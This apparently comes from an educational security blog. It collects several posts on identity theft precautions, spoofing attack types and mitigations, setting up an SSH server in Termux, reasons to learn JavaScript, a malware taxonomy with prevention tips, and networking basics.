How can one protect them from identity theft?

There's no way you can stop a young retail cashier from processing a credit application they don't

know is fraudulent, or much of anything that would stop the thief once they have your social security

number. Your goal is to make sure that number stays with you and doesn't get in the hands of anyone

you don't trust. The easiest way to procure a social security number from a victim is by going through

their trash, as your mail will sometimes have your number on it. There are also other ways your

number can leave your protection. As a result, you'll want to do the following:

If your social security number does appear on any documents, destroy them before you throw
them out.
Never give out your social security number to any third-party unless you know they need it

(e.g. a credit application) and you trust the organization. Before handing it over, you may

want to ask what measures they take to ensure social security numbers are not recorded. For

example, a friend of mine works in a sales job. They're not allowed to have cellphones or

any devices connected to the internet. They can't use computers, either, aside from the one

provided. This is to make it virtually impossible for them to record any credit card numbers

they receive from a customer. While a company is not going to outlaw pencil and paper,

therefore not completely eliminating the possibility of your social security number leaving

the building, they likely take several countermeasures to help protect you. If you're worried,

ask. Whoever is requesting the number likely knows about them since they live with them

every day.
Before handing over your social security number to any company, ask if it will ever appear

on a document they send you in the mail. Also find out how it is securely stored on their

servers so it will be protected in case of a hack.
Avoid entering your social security number online unless you are absolutely sure you're on a

secure connection and dealing with a company you can trust. If you're not, call them to verify

or don't do it.

Spoofing Attacks

A spoofing attack is when a malicious party impersonates another device or user on a network in

order to launch attacks against network hosts, steal data, spread malware or bypass access controls.

There are several different types of spoofing attacks that malicious parties can use to accomplish this.

Some of the most common methods include IP address spoofing attacks, ARP spoofing attacks and

DNS server spoofing attacks.

IP address spoofing attacks

IP address spoofing is one of the most frequently used spoofing attack methods. In an IP address

spoofing attack, an attacker sends IP packets from a false (or “spoofed”) source address in order to

disguise itself. Denial-of-service attacks often use IP spoofing to overload networks and devices with

packets that appear to be from legitimate source IP addresses.

What sorts of attacks are launched through IP spoofing? To name a few:

Blind spoofing: In this type of attack, a cracker outside the perimeter of the local network

transmits multiple packets to his intended target to receive a series of sequence numbers,

which are generally used to assemble packets in the order in which they were intended --

Packet 1 is to be read first, then Packet 2, 3 and so on. The cracker is blind to how

transmissions take place on this network, so he needs to coax the machine into responding to

his own requests so he can analyze the sequence numbers. By taking advantage of knowing

the sequence number, the cracker can falsify his identity by injecting data into the stream of

packets without having to have authenticated himself when the connection was first

established. (Generally, current operating systems employ random sequence number

generation, so it's more difficult for crackers to predict the correct sequence number.)

Nonblind spoofing: In this type of attack, the cracker resides on the same subnet as his

intended target, so by sniffing the wire for existing transmissions, he can understand an

entire sequence/acknowledge cycle between his target and other hosts (hence the cracker

isn't "blind" to the sequence numbers). Once the sequence is known, the attacker can hijack

sessions that have already been built by disguising himself as another machine, bypassing

any sort of authentication that was previously conducted on that connection.

Denial-of-service attack: To keep a large-scale attack on a machine or group of machines

from being detected, spoofing is often used by the malefactors responsible for the event to

disguise the source of the attacks and make it difficult to shut it off. Spoofing takes on a

whole new level of severity when multiple hosts are sending constant streams of packet tothe DoS target. In that case, all the transmissions are generally spoofed, making it very

difficult to track down the sources of the storm.

Man-in-the-middle attack: Imagine two hosts participating in normal transmissions

between each other. In a man-in-the-middle attack, a malicious machine intercepts the

packets sent between these machines, alters the packets and then sends them on to the

intended destination, with the originating and receiving machines unaware their

communications have been tampered with; this is where the spoofing element enters the

equation. Typically, this type of attack is used to get targets to reveal secure information and

continue such transmissions for a period of time, all the while unaware that the machine in

the middle of the transmission is eavesdropping the whole time.

ARP spoofing attacks

ARP is short for Address Resolution Protocol, a protocol that is used to resolve IP addresses to

MAC (Media Access Control) addresses for transmitting data. In an ARP spoofing attack, a malicious

party sends spoofed ARP messages across a local area network in order to link the attacker’s MAC

address with the IP address of a legitimate member of the network. This type of spoofing attack

results in data that is intended for the host’s IP address getting sent to the attacker instead. Malicious

parties commonly use ARP spoofing to steal information, modify data in-transit or stop traffic on a

LAN. ARP spoofing attacks can also be used to facilitate other types of attacks, including denial-of-

service, session hijacking and man-in-the-middle attacks. ARP spoofing only works on local area

networks that use the Address Resolution Protocol.

DNS server spoofing attacks

The Domain Name System (DNS) is a system that associates domain names with IP addresses.

Devices that connect to the internet or other private networks rely on the DNS for resolving URLs,

email addresses and other human-readable domain names into their corresponding IP addresses. In a

DNS server spoofing attack, a malicious party modifies the DNS server in order to reroute a specific

domain name to a different IP address. In many cases, the new IP address will be for a server that is

actually controlled by the attacker and contains files infected with malware. DNS server spoofing

attacks are often used to spread computer worms and viruses.

Spoofing attack prevention and mitigation

There are many tools and practices that organisations can employ to reduce the threat of spoofing

attacks. Common measures that organisations can take for spoofing attack prevention include:

Packet filtering: packet filters inspect packets as they are transmitted across a network.

Packet filters are useful in IP address spoofing attack prevention because they are capable of

filtering out and blocking packets with conflicting source address information (packets fromoutside the network that show source addresses from inside the network and vice versa).

Avoid trust relationships: organisations should develop protocols that rely on trust

relationships as little as possible. It is significantly easier for attackers to run spoofing

attacks when trust relationships are in place because trust relationships only use IP

addresses for authentication.

Use spoofing detection software: There are many programs available that help

organisations detect spoofing attacks, particularly ARP spoofing. These programs work by

inspecting and certifying data before it is transmitted and blocking data that appears to be

spoofed.

Use cryptographic network protocols: Transport Layer Security (TLS), Secure Shell

(SSH), HTTP Secure (HTTPS) and other secure communications protocols bolster spoofing

attack prevention efforts by encrypting data before it is sent and authenticating data as it is

received.

How To Install SSH On Termux

2020-04-16T10:26:00.000+05:30

Hello guys I am back. In this post, am going to tell you how you can use SSH on your Android phone using Termux

Termux is a powerful terminal emulation for Android, with broad community and robust package manager. Making it easier to run Linux computing right in your pocket these days.

This article will explain to you how to set up an SSH Server in Termux and allow you to connect to it from any client in your network.

I refer $ as termux and # as remote machine.

let's see how we can use SSH on Termux

If you're new to SSH then let me explain a little bit about SSH

What is SSH?

According to the Google

'"Secure Shell (SSH) is a cryptographic network protocol for operating network services securely over an unsecured network. Typical applications include remote command-line, login, and remote command execution, but any network service can be secured with SSH."'

In simple words, SSH is a protocol that helps two Computers to communicate
SSH is used to login to a remote computer and execute commands, file transfer and to perform many other things

Installing required packages

Ensure everything is up to date

$ pkg upgrade
Install the OpenSSH package
$ pkg install openssh

To start the SSH server, run this command
$ sshd
If you need to kill the server, just kill its process

$ pkill sshd

Setting up password authentication

Ideally, we should set up key authentication, but for the sake of simplicity, I’m gonna skip that part, keep in mind that password authentication is less secure than key authentication.

Password authentication is enabled by default on termux, but you can still review the configuration by running
$ cat $PREFIX/etc/ssh/sshd_config

It should look pretty much like this

PrintMotd yes
PasswordAuthentication yes
PubkeyAcceptedKeyTypes +ssh-dss
Subsystem sftp /data/data/com.termux/files/usr/libexec/sftp-server

Set new password

$ passwd

New password:
Retype new password:
New password was successfully set.
At this point, we’re ready to start the SSH Server and connect to the android device.

Connecting from remote machine

First of all, we need to know the android device IP address on the device, get this by running

$ ifconfig

From this output, we know that the device IP address on the network is 192.168.100.92

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.100.92 netmask 255.255.255.0 broadcast 192.168.100.255
inet6 fe80::d4d0:8cac:6318:8ac9 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
RX packets 1118178 bytes 1321397645 (1.2 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 577939 bytes 80497172 (76.7 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

We’re ready to connect to the android device from remote

# ssh anything@192.168.100.92 -p 8022

You can connect using any username because termux doesn’t care. In this example, I use anything.

Put in the password you’ve setup before, after that, you’re in.

NOTE: This article is only for an Educational purpose. Any actions or activities related to the material contained on this Website is solely your responsibility. Misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and Hackers Dormitory.will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

Why Study JavaScript??? in 2020

2020-04-16T00:06:00.000+05:30

Why Study JavaScript?

JavaScript is one of the 3 languages all web developers must learn:

1. HTML to define the content of web pages

2. CSS to specify the layout of web pages

3. JavaScript to program the behavior of web pages

Web pages are not the only place where JavaScript is used. Many desktop and server programs use JavaScript. Node.js is the best known. Some databases, like MongoDB and CouchDB, also use JavaScript as their programming language

Beginner Friendliness

Easy to Pick Up

JavaScript is somewhat easy to get started with as it is a higher level language, which means JavaScript abstracts away most of the complex details of the machine so you can focus on learning how to program. What's more, you can get started with coding JavaScript straight from your browser without setting up any development environment, which is a reason many beginners seem to like it.

Fun

JavaScript is mainly used for frontend development, and there are various tools that will allow you to quickly get a working prototype with JavaScript. Nonetheless, you should first focus on obtaining a solid understanding of JavaScript before you explore what the community has to offer.

Complex

Although all browsers implement JavaScript, the same code doesn't necessarily behaves the same way in different browser environments, so trying to figure out why your code works in Chrome but not in Firefox may sometimes be frustrating. Additionally, beginners may quickly find it difficult to grasp the concepts of how JavaScript works, and the language has several designs that make it easy for beginners to shoot themselves in the foot. Finding an experienced JavaScript mentor will likely help you stay on the right track and ease your learning process.

Scalability

Not Fast

As a dynamically untyped language, JavaScript is slow because it is too flexible and the machine would need to do a lot of referencing to make sure what the definition of something is, and this slows JavaScript performance down. The speed of front-end JavaScript will depend on the framework.

Nonetheless, the Node.js environment sped JavaScript up, and much of the Node.js community focuses on performance to capitalize on JavaScript's potential for backend programming as well.

Difficult to Maintain

Because JavaScript is a dynamically untyped language, the same thing can easily mean something different depending on the context and it also lacks support for classes, making JavaScript harder to debug than most languages.

As a JavaScript app grows larger and more complex, it may be hard to maintain as errors will become difficult to track down and fix. It will take experience and insight to know how to design your code or write unit tests to ease maintainability, but you can learn how to design code better by working with an experienced JavaScript mentor.

In addition, Microsoft's open-sourced TypeScript (a statically-typed version of JavaScript) is a potential solution to help ease the scalability problems.

Community

Community size is important, because the larger a programming language community is, the more support you'd be likely to get. As you step into the programming world, you'll soon understand how vital support is, as the developer community is all about giving and receiving help. Moreover, the larger a community, the more people will be building useful tools to make development in that particular language easier. As of now, there are over 600 notable programming languages world-wide.

So, with that context in mind, let's get into the details of the JavaScript community size.

Largest StackOverflow Community

StackOverflow is a programming Q&A site you will no doubt become intimate with as a coding beginner. JavaScript has overtaken Java in terms of community size, and it will likely keep growing.

Largest Meetup Community in Terms of Programming Language

At meetups, you can generally network and learn from fellow developers. Meetups often offer mentorship to those who want it as well. There are 3600+ JavaScript Meetup groups, totaling 1.48 million members worldwide.

Needless to say, JavaScript has a huge community, which as a whole has a lot of energy and may help you stay motivated with learning JavaScript.

Most-tagged language at GitHub

One of the things JavaScript developers like about JavaScript the most is the community. JavaScript constantly innovates new, nifty tools, which may be very exciting and fun. There are over 3100 GitHub projects with over 500 stars. However, many tools also have a high churn rate, so keeping up with all the new things may be slightly exhausting.

Career Opportunities

With more and more businesses moving online, demand for JavaScript developers has been rocketing. JavaScript is also the most demanded programming skill at Angel List.

If you want to use JavaScript for backend development, the average salary in the US for Node.js developers is about $98,962

Future

The web browser is one of the most used applications on both desktop and mobile devices. With more and more services moving to the web, JavaScript will only increase in popularity, and as a whole there is a lot of technical innovation going in on JavaScript. Many developers and businesses have used JavaScript to extend their web products outside of the browser, which means JavaScript can be used build simple desktop and mobile apps.

JavaScript is the #8 most popular language on TIOBE index

A programming language's ability to stay relevant and survive also depends on whether the language is getting new blood.

Interest in learning JavaScript grew by 22.3% in 2015

Considering how many services are going online, clearly JavaScript will continue to grow quickly and stay very relevant in the years to come. To start learning this language, there are many JavaScript courses and tutorials to choose from.

In general, it's difficult to predict where JavaScript's direction would be as the technology is always evolving, but needless to say, JavaScript will only continue to grow in terms of adoption rate

There is no doubt that JavaScript is the most popular programming language at this moment, and it's also confirmed by StackOverFlow's Survey. You can build static websites, web applications, native mobile applications (yes, you can do that too), desktop applications, and even server-side applications in JavaScript. It also makes you a hundred times more employer as there are tons of web development jobs out there. Because of that, ore and more developers are learning JavaScript to become a web developer.
Another reason for learning JavaScript is that it powers some of the most popular and powerful web development frameworks, e.g. Angular, React, Node JS, and jQuery. To use those tools and frameworks, good knowledge of JavaScript is required. So that you can understand what's going on underneath.
Now that we know how vital JavaScript is and why you should learn it let me share some of the best online courses you can take to start your JavaScript journey and eventually become master of it.
I was a big fan of books, and In the past, even share some of my favorite JavaScript books, but from last a couple of years, I found online training courses best to learn a new technology or programming language.
The main reason is active learning, while learning from a book is still high, sometime you may feel bored and stuck while trying to do things but with online courses, you can see how exactly it's done.

I have also found that Instructors are also more reachable than authors of popular books, another reason I am suggesting developers start with courses first and then read books to get a more comprehensive knowledge.

Malware : A hackers henchman {weapon}

2020-04-15T23:37:00.001+05:30

Malware

Malware, short for malicious software, is any software used to disrupt computer operation, gather

sensitive information, or gain access to private computer systems.

Malware is defined by its malicious intent, acting against the requirements of the computer user, and

does not include software that causes unintentional harm due to some deficiency. The term badware is

sometimes used, and applied to both true (malicious) malware and unintentionally harmful software.

Types of Malware

Adware

Adware (short for advertising-supported software) is a type of malware that automatically delivers

advertisements. Common examples of adware include pop-up ads on websites and advertisements

that are displayed by software. Software and applications often offer “free” versions that come

bundled with adware. Most adware is sponsored or authored by advertisers and serves as a revenue

generating tool.

While some adware is solely designed to deliver advertisements, it is not uncommon for adware to

come bundled with spyware that is capable of tracking user activity and stealing information. Due to

the added capabilities of spyware, adware/spyware bundles are significantly more dangerous than

adware on its own.

SpywareSpyware is a type of malware that functions by spying on user activity without their knowledge.

These spying capabilities can include activity monitoring, collecting keystrokes, data harvesting

(account information, logins, financial data), and more. Spyware often has additional capabilities as

well, ranging from modifying security settings of software or browsers to interfering with network

connections. Spyware spreads by exploiting software vulnerabilities, bundling itself with legitimate

software or in Trojans.

Bot

Bots are software programs created to automatically perform specific operations. While some bots

are created for relatively harmless purposes (video gaming, internet auctions, online contests, etc), it

is becoming increasingly common to see bots being used maliciously. Bots can be used in botnets

(collections of computers to be controlled by third parties) for DDoS attacks, as spambots that render

advertisements on websites, as web spiders that scrape server data, and for distributing malware

disguised as popular search items on download sites. Websites can guard against bots with

CAPTCHA tests that verify users as human.

Bug

In the context of software, a bug is a flaw produces an undesired outcome. These flaws are usually the

result of human error and typically exist in the source code or compilers of a program. Minor bugs

only slightly affect a program’s behaviour and, as a result, can go for long periods of time before

being discovered. More significant bugs can cause crashing or freezing. Security bugs are the most

severe type of bugs and can allow attackers to bypass user authentication, override access privileges,

or steal data. Bugs can be prevented with developer education, quality control and code analysis

tools.

Ransomware

Ransomware is a form of malware that essentially holds a computer system captive while demanding

a ransom. The malware restricts user access to the computer either by encrypting files on the hard

drive or locking down the system and displaying messages that are intended to force the user to pay

the malware creator to remove the restrictions and regain access to their computer. Ransomware

typically spreads like a normal computer worm (see below) ending up on a computer via a

downloaded file or through some other vulnerability in a network service.

Rootkit

A rootkit is a type of malicious software designed to remotely access or control a computer without

being detected by users or security programs. Once a rootkit has been installed it is possible for the

malicious party behind the rootkit to remotely execute files, access/steal information, modify system

configurations, alter software (especially any security software that could detect the rootkit), installconcealed malware, or control the computer as part of a botnet.

Rootkit prevention, detection, and removal can be difficult due to their stealthy operation. Because a

rootkit continually hides its presence, typical security products are not effective in detecting and

removing rootkits. As a result, rootkit detection relies on manual methods such as monitoring

computer behaviour for irregular activity, signature scanning, and storage dump analysis.

Organisations and users can protect themselves from rootkits by regularly patching vulnerabilities in

software, applications and operating systems, updating virus definitions, avoiding suspicious

downloads and performing static analysis scans.

Trojan Horse

A Trojan horse, commonly known as a “Trojan,” is a type of malware that disguises itself as a normal

file or program to trick users into downloading and installing malware. A Trojan can give a

malicious party remote access to an infected computer. Once an attacker has access to an infected

computer, it is possible for the attacker to steal data (logins, financial data, even electronic money),

install more malware, modify files, monitor user activity (screen watching, keylogging, etc), use the

computer in botnets, and anonymise internet activity by the attacker.

Virus

A virus is a form of malware that is capable of copying itself and spreading to other computers.

Viruses often spread to other computers by attaching themselves to various programs and executing

code when a user launches one of those infected programs. Viruses can also spread through script

files, documents, and cross-site scripting vulnerabilities in web apps. Viruses can be used to steal

information, harm host computers and networks, create botnets, steal money, render advertisements,

and more.

Worm

Computer worms are among the most common types of malware. They spread over computer

networks by exploiting operating system vulnerabilities. Worms typically cause harm to their host

networks by consuming bandwidth and overloading web servers. Computer worms can also contain

“payloads” that damage host computers. Payloads are pieces of code written to perform actions on

affected computers beyond simply spreading the worm. Payloads are commonly designed to steal

data, delete files, or create botnets.

Computer worms can be classified as a type of computer virus, but there are several characteristics

that distinguish computer worms from regular viruses. A major difference is that computer worms

have the ability to self-replicate and spread independently while viruses rely on human activity to

spread (running a program, opening a file, etc). Worms often spread by sending mass emails with

infected attachments to users’ contacts.

Key logger

A special kind of trojan that records the keyboard and/or mouse activity on a PC and relays the

information over the Internet to someone wishing to record passwords or other personal information.

Zombie Computer

A Trojan horse is used to plant malware on an unsuspecting PC owner's system that allows a remote

computer to use that system to send out spam or to perform other malicious tasks on the Internet

without the owner's knowledge.

Drive-by-Download

The automatic download of software to a user’s computer triggered simply by visiting a Web site or

viewing an HTML formatted email. The download occurs without the user’s consent and often

without any notice at all.

Scareware

Malware that pops up windows claiming your computer is infected and offers to clean it for a fee or

tries to get you to click a link that will install a trojan. The malware can come from a drive-by-

download or from a web page that has other malicious JavaScript on it.

Web beacon or web bug

A small, usually 1×1 pixel, transparent image that is placed somewhere in a web page or e-mail. Due

to its small size and transparency it is visually undetectable by the reader. Because the computer has

to make a request to an external server in order to load this image, whoever planted the image knows

that you have visited the web page or opened the e-mail. The server records the date and time of the

request, along with any other information it receives such as your IP address and browser version.

Backdoors

A backdoor is a method of bypassing normal authentication procedures, usually over a connection to

a network such as the Internet. Once a system has been compromised, one or more backdoors may be

installed in order to allow access in the future, invisibly to the user.

The idea has often been suggested that computer manufacturers preinstall backdoors on their systems

to provide technical support for customers, but this has never been reliably verified. It was reported

in 2014 that US government agencies had been diverting computers purchased by those considered

"targets" to secret workshops where software or hardware permitting remote access by the agency

was installed, considered to be among the most productive operations to obtain access to networksaround the world. Backdoors may be installed by Trojan horses, worms, implants, or other methods.

Malware Symptoms

While these types of malware differ greatly in how they spread and infect computers, they all can

produce similar symptoms. Computers that are infected with malware can exhibit any of the following

symptoms:

Increased CPU usage

Slow computer or web browser speeds

Problems connecting to networks

Freezing or crashing

Modified or deleted files

Appearance of strange files, programs, or desktop icons

Programs running, turning off, or reconfiguring themselves (malware will often reconfigure

or turn off antivirus and firewall programs)

Strange computer behaviour

Emails/messages being sent automatically and without user’s knowledge (a friend receives a

strange email from you that you did not send)

Vulnerability to Malware

Security defects in software

Malware exploits security defects (security bugs or vulnerabilities) in the design of the operating

system, in applications (such as browsers, e.g. older versions of Microsoft Internet Explorer

supported by Windows XP), or in vulnerable versions of browser plugins such as Adobe Flash

Player, Adobe Acrobat or Reader, or Java.

Sometimes even installing new versions of such plugins does not automatically uninstall old versions.

Security advisories from plug-in providers announce security-related updates.

Common vulnerabilities are assigned CVE IDs and listed in the US National Vulnerability Database.

Secunia PSI

is an example of software, free for personal use that will check a PC for vulnerable out-

of-date software, and attempt to update it.

Malware authors target bugs, or loopholes, to exploit. A common method is exploitation of a buffer

overrun vulnerability, where software designed to store data in a specified region of memory does

not prevent more data than the buffer can accommodate being supplied.

Malware may provide data that overflows the buffer, with malicious executable code or data after the

end; when this payload is accessed it does what the attacker, not the legitimate software, determines.

Insecure design or user error

Early PCs had to be booted from floppy disks; when built-in hard drives became common the

operating system was normally started from them, but it was possible to boot from another boot

device if available, such as a floppy disk, CD-ROM, DVD-ROM, or USB flash drive.

It was common to configure the computer to boot from one of these devices when available. Normally

none would be available; the user would intentionally insert, say, a CD into the optical drive to boot

the computer in some special way, for example to install an operating system. Even without booting,

computers can be configured to execute software on some media as soon as they become available,

e.g. to autorun a CD or USB device when inserted.

Malicious software distributors would trick the user into booting or running from an infected device

or medium; for example, a virus could make an infected computer add autorunnable code to any USB

stick plugged into it; anyone who then attached the stick to another computer set to autorun from USB

would in turn become infected, and also pass on the infection in the same way.

More generally, any device that plugs into a USB port - "including gadgets like lights, fans, speakers,

toys, even a digital microscope" can be used to spread malware. Devices can be infected during

manufacturing or supply if quality control is inadequate.

This form of infection can largely be avoided by setting up computers by default to boot from the

internal hard drive, if available, and not to autorun from devices. Intentional booting from another

device is always possible by pressing certain keys during boot.

Older email software would automatically open HTML email containing potentially malicious

JavaScript code; users may also execute disguised malicious email attachments and infected

executable files supplied in other ways.

Over-privileged users and over-privileged code

In computing, privilege refers to how much a user or program is allowed to modify a system. In

poorly designed computer systems, both users and programs can be assigned more privileges than

they should be, and malware can take advantage of this. The two ways that malware does this is

through overprivileged users and overprivileged code.

Some systems allow all users to modify their internal structures, and such users today would be

considered over-privileged users. This was the standard operating procedure for early

microcomputer and home computer systems, where there was no distinction between an administrator

or root, and a regular user of the system. In some systems, non-administrator users are over-

privileged by design, in the sense that they are allowed to modify internal structures of the system. In

some environments, users are over-privileged because they have been inappropriately granted

administrator or equivalent status.

Some systems allow code executed by a user to access all rights of that user, which is known as over-

privileged code. This was also standard operating procedure for early microcomputer and home

computer systems. Malware, running as over-privileged code, can use this privilege to subvert the

system. Almost all currently popular operating systems, and also many scripting applications allowcode too many privileges, usually in the sense that when a user executes code, the system allows that

code all rights of that user. This makes users vulnerable to malware in the form of e-mail attachments,

which may or may not be disguised.

Homogeneity

When all computers in a network run the same operating system; upon exploiting one, one worm can

exploit them all. For example, Microsoft Windows or Mac OS X have such a large share of the

market that concentrating on either could enable an exploited vulnerability to subvert a large number

of systems.

Instead, introducing diversity, purely for the sake of robustness, could increase short-term costs for

training and maintenance. However, having a few diverse nodes could deter total shutdown of the

network as long as all the nodes are not part of the same directory service for authentication, and

allow those nodes to help with recovery of the infected nodes. Such separate, functional redundancy

could avoid the cost of a total shutdown, at the cost of increased complexity and reduced usability in

terms of single sign-on authentication.

Malware prevention and removal

There are several general best practices that organisations and individual users should follow to

prevent malware infections. Some malware cases require special prevention and treatment methods,

but following these recommendations will greatly increase a user’s protection from a wide range of

malware:

Install and run anti-malware and firewall software. When selecting software, choose a program that

offers tools for detecting, quarantining, and removing multiple types of malware. At the minimum,

anti-malware software should protect against viruses, spyware, adware, Trojans, and worms. The

combination of anti-malware software and a firewall will ensure that all incoming and existing data

gets scanned for malware and that malware can be safely removed once detected.

Keep software and operating systems up to date with current vulnerability patches. These patches are

often released to patch bugs or other security flaws that could be exploited by attackers.

Be vigilant when downloading files, programs, attachments, etc. Downloads that seem strange or are

from an unfamiliar source often contain malware.

Website security scans

As malware also harms the compromised websites (by breaking reputation, blacklisting in search

engines, etc.), some websites offer vulnerability scanning. Such scans check the website, detect

malware, may note outdated software, and may report known security issues."Air gap" isolation or "Parallel Network"

As a last resort, computers can be protected from malware, and infected computers can be prevented

from disseminating trusted information, by imposing an "air gap" (i.e. completely disconnecting them

from all other networks). However, information can be transmitted in unrecognized ways; in

December 2013 researchers in Germany showed one way that an apparent air gap can be defeated.

Later in 2015, "BitWhisper", a Covert Signaling Channel between Air-Gapped Computers using

Thermal Manipulations was introduced. "BitWhisper" supports bidirectional communication and

requires no additional dedicated peripheral hardware.

Grayware

Grayware is a term applied to unwanted applications or files that are not classified as malware, but

can worsen the performance of computers and may cause security risks.

It describes applications that behave in an annoying or undesirable manner, and yet are less serious or

troublesome than malware. Grayware encompasses spyware, adware, fraudulent dialers, joke

programs, remote access tools and other unwanted programs that harm the performance of computers

or cause inconvenience. The term came into use around 2004.

Another term, PUP, which stands for Potentially Unwanted Program (or PUA Potentially Unwanted

Application), refers to applications that would be considered unwanted despite often having been

downloaded by the user, possibly after failing to read a download agreement. PUPs include spyware,

adware, fraudulent dialers. Many security products classify unauthorised key generators as grayware,

although they frequently carry true malware in addition to their ostensible purpose.

Software maker Malwarebytes lists several criteria for classifying a program as a PUP.

__________________________

What Is Network systems and DNS working

2020-04-15T16:14:00.001+05:30

Computer Network

A computer network is a group of computer systems and other computing hardware devices that are

linked together through communication channels to facilitate communication and resource-sharing

among a wide range of users. Networks are commonly categorized based on their characteristics.

One of the earliest examples of a computer network was a network of communicating computers thatfunctioned as part of the U.S. military's Semi-Automatic Ground Environment (SAGE) radar system.

In 1969, the University of California at Los Angeles, the Stanford Research Institute, the University of

California at Santa Barbara and the University of Utah were connected as part of the Advanced

Research Projects Agency Network (ARPANET) project. It is this network that evolved to become

what we now call the Internet.

Networks are used to:

Facilitate communication via email, video conferencing, instant messaging, etc.

Enable multiple users to share a single hardware device like a printer or scanner

Enable file sharing across the network

Allow for the sharing of software or operating programs on remote systems

Make information easier to access and maintain among network users

There are many types of networks, including:

Local Area Networks (LAN)

The computers are geographically close together (that is, in the same building).

Wide Area Networks (WAN)

The computers are farther apart and are connected by telephone lines or radio waves.

Metropolitan Area Networks (MAN)

A data network designed for a town or city.

Home Area Networks (HAN)

A network contained within a user's home that connects a person's digital devices.

Intranet

An intranet is basically a network that is local to a company. In other words, users from within this

company can find all of their resources without having to go outside of the company. An intranet can

include LANs, private WANs and MANs,

Extranet

An extranet is an extended intranet, where certain internal services are made available to known

external users or external business partners at remote locations.

Internet

An internet is used when unknown external users need to access internal resources in your network. In

other words, your company might have a web site that sells various products, and you want any

external user to be able to access this service.

VPN

A virtual private network (VPN) is a special type of secured network. A VPN is used to provide a

secure connection across a public network, such as an internet. Extranets typically use a VPN to

provide a secure connection between a company and its known external users or offices.

Authentication is provided to validate the identities of the two peers.

Confidentiality provides encryption of the data to keep it private from prying eyes.

Integrity is used to ensure that the data sent between the two devices or sites has not been tampered

with.

Benefits of networking

There are lots of advantages from build up a network, but the three big facts are-

File Sharing

From sharing files you can view, modify, and copy files stored on a different computer on the network

just as easily as if they were stored on your computer.

Resource Sharing

Resources such as printers, fax machines, Storage Devices (HDD, FDD and CD Drives), Webcam,

Scanners, Modem and many more devices can be shared.

Program Sharing

Just as you can share files on a network, you can often also share program on a network. For example,

if you have the right type of software license, you can have a shared copy of Microsoft Office, or

some other program, and keep it on the network server, from where it is also run.

Network Host

A network host (or simply referred to as a host) can be any computer or network device connected tothe computer network. This computer can be a terminal or a web server offering services to its

clients.

Network Protocol

A network protocol (or just referred to as protocol) is a set of rules and conventions that are

necessary for the communication between two network devices. For example, two computers on a

network can communicate only if they agree to follow the protocols.

The following are some of the most widely referred network protocols:

Internet Protocol (IP Address)

An Internet Protocol address (IP address) is a numerical label assigned to each device (e.g.,

computer, printer) participating in a computer network that uses the Internet Protocol for

communication. An IP address serves two principal functions: host or network interface identification

and location addressing. Its role has been characterized as follows: "A name indicates what we seek.

An address indicates where it is. A route indicates how to get there."

IP addresses are binary numbers, but they are usually stored in text files and displayed in human-

readable notations, such as 172.16.254.1 (for IPv4), and 2001:db8:0:1234:0:567:8:1 (for IPv6).

Types of IP Address

Private IP Address: A private IP address is the one that is assigned to a computer on the Local Area

Network (LAN). A typical example of private IP address would be something like: 192.168.0.4

Public IP Address: A public IP address is the one that is assigned to a computer connected to the

Internet. An example public IP address would be something like: 59.93.115.119

In most cases a computer gets connected to the ISP network using a private IP. Once a computer is on

the ISP network it will be assigned a public IP address using which the communication with the

Internet is made possible.

How to Find the IP Address of a Computer?

Finding your public IP is extremely simple. Just type “what is my IP” on Google to see your public IP

address displayed in search results.

In order to find your private IP, just open the command prompt window (type cmd in the “Run” box)

and enter the following command:ipconfig/all

This will display a long list of details about your computer’s network devices and their configuration.

To see your private IP address, just scroll down to find something as “IPv4 Address” which is

nothing but your private IP.

Hyper Text Transfer Protocol (HTTP)

Hypertext Transfer Protocol, abbreviated as HTTP, is a communications protocol used for the

transfer of information over the Internet. A client makes an HTTP request using a web browser to

which an HTTP response is sent from the server.

File Transfer Protocol (FTP)

The File Transfer Protocol provides a standard for transferring files between two computers on the

network. FTP is most widely used in carrying out upload/download operations between a server and

a workstation.Simple Main Transfer Protocol (SMTP)

The Simple Mail Transfer Protocol provides a standard for sending e-mails from one server to

another. Most e-mail systems that send mail over the Internet use SMTP to exchange messages

between the server.

Telnet

Telnet is a network protocol that allows you to connect to remote hosts on the Internet or on a local

network. It requires a telnet client software to implement the protocol using which the connection is

established with the remote computer.

In most cases telnet requires you to have a username and a password to establish connection with the

remote host. Occasionally, some hosts also allow users to make connection as a guest or public.

After the connection is made, one can use text based commands to communicate with the remote host.

The syntax for using the telnet command is as follows:

telnet <hostname or IP> port

WWW

The World Wide Web (abbreviated as WWW or W3, and commonly known as the Web) is a system

of interlinked hypertext documents accessed via the Internet. With a web browser, one can view web

pages that may contain text, images, videos, and other multimedia, and navigate between them via

hyperlinks.

It is the collection of internet resources (such as FTP, telnet, Usenet), hyperlinked text, audio, and

video files, and remote sites that can be accessed and searched by browsers based on standards such

as HTTP and TCP/IP.

SSH - Secure Shell

Developed by SSH Communications Security Ltd., Secure Shell is a program to log into another

computer over a network, to execute commands in a remote machine, and to move files from one

machine to another. It provides strong authenticationand secure communications over insecure

channels. It is a replacement for rlogin, rsh, rcp, and rdist.

SSH protects a network from attacks such as IP spoofing, IP source routing, and DNS spoofing.

An attacker who has managed to take over a network can only force ssh to disconnect. He or she

cannot play back the traffic or hijack the connection when encryptionis enabled.

When using ssh's slogin (instead of rlogin) the entire login session, including transmission of

password, is encrypted; therefore it is almost impossible for an outsider to collect passwords.SSH port forwarding

An SSH service that provides secure and encrypted connections to traditionally non-encrypted

services, such as e-mail or news.

SSH port forwarding allows you to establish a secure SSH session and then tunnel TCP connections

through it. It works by opening a connection to forward a local port to a remote port over SSH.

The client software (e.g. your e-mail client) is then set to connect to the local port. With SSH port

forwarding passwords are sent over an encrypted connection. Also called SSH tunneling.

Network Port

A computer may be running several services on it like HTTP (web server), SMTP, FTP and so on.

Each of these services are uniquely identified by a number called network port (or simply referred to

as port). If a computer wants to avail a specific service from another computer, it has to establish a

connection to it on the exact port number where the intended service is running.

For example, if a terminal is to request a web document from a remote server using HTTP, it has to

first establish a connection with the remote server on port 80 (HTTP service runs on port 80) before

placing the request.

In simple words, port numbers can be compared to door numbers where each door grants access to a

specific service on a computer.

